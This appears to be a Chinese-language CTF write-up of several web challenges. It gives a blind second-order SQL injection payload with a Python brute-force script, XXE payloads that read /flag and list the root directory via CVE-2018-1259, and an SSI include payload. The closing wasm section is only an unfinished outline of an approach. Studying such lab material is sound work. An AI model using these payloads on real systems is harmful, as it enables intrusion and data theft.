前言
emmmm,很久沒有好好的打比賽了,基本都是滑水,認真打的時候又被一些腦洞卡一天,難受,這次的題比較簡單,所以Writeup也就簡單些寫了,可惜不會逆向,不然應該有那么點可能AK吧。
SimpleBBS
一個普通的BBS,進去隨手在登入框輸了個‘ ' ’就報錯了,直接把SQL語句都爆出來了
甩sqlmap爆破,爆破的時候把level設置高一些,很多問我怎么他們沒爆出來,應該就是因為level的原因吧。flag放在bbs庫flag表flag字段里。
SimpleBlog
這道題目很明顯是二次注入,由于很討厭寫注入的題,所以也是很后面才寫,主要邏輯在于注冊用戶時我們插入SQL查詢語句,登入后也在主頁面提示分數為0什么的信息,所以在Final Exam頁面測試,如果返回值顯示的分數為非0,那么則表示注入的查詢語句查詢正確,若返回顯示的分數為0,則說明查詢失敗,所以典型的盲注了,構造payload:' or if((ascii(substr((select flag from flag),1,1))=1),1,0)='1' or ' 作為注冊用戶名,這里坑了一下,剛開始用的是 and,在insert的時候 and 和 && 不會當作邏輯運算符執行,所以用 or 或者 || ,寫個盲注腳本就好了。
import string
import requests
result = ""
url = 'http://210.32.4.20/register.php'
url_2 = 'http://210.32.4.20/login.php'
url_3 = 'http://210.32.4.20/answer.php'
for i in range(1,50):
for j in range(32,126):
ss=requests.session()
payload = "\' or if((ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(j) + "),1,0)='1' or \'"
post_an = {'1.a':'on'}
post_data = {'username':payload,'password':'123'}
r = ss.post(url=url,data=post_data)
login = ss.post(url=url_2,data=post_data)
an = ss.post(url=url_3,data=post_an)
if 'Your grades is 0' not in an.content:
e = chr(j)
result = result + e
print result
break
SimpleExtensionExplorerInjection
題目寫得很清楚這題是XXE的點,所以先抓一個http request包
application/json應該都很熟悉了,把json改成xml進行XXE注入,參考文章:https://landgrey.me/XMLBeam-XXE-Simple-Analysis/,發現構造:
<root>
<name>Cyc1e</name>
<age>11</age>
</root>
時有一樣的回顯,那么就是CVE-2018-1259的洞了,構造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
SimplePrintEventLogger
這道題算非預期了,出題人木有把兩個題目分開,所以導致撿漏了,看題目描述是同一個組件造成的RCE,那解法應該是參考:https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/(沒有去復現嘗試)。
由于和上一題共用同一個環境,flag都放在根目錄下,那也就是文件名的問題,但是XXE是可以列目錄的,構造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///" >]>
<root>
<name>&xxe;</name>
</root>
可以直接列出更目錄,很清楚的,RCE這題的flag就擺在這了,撿漏撿漏。
SimpleServerInjection
題目提示為SSI,剛開始看成了SSTI,一直在怒懟PHP的模版注入,坑了我好一段時間......既然是SSI,那就可以利用include來嘗試包含本地文件我們利用include virtual,構造payload:
name=<!--%23include virtual="flag" -->
就可以得到flag,這里主要在于#號需要urlencode一下。SimpleWasmReverse
這題最后卡wasm逆向上了,蠻寫寫思路
所以接下來要做的主要就是反編譯wasm文件,找到$func53函數進行分析,奈何wasm反編譯后是3M的C源碼。。。。。。而且變量名都變了,作為一個逆向只好爆破什么的來說,到這就放棄了,思路肯定是沒毛病的了,分析調用的函數就可以的到flag{xxxxxx},頁面提交就可以得到flag的吧,坐等Writeup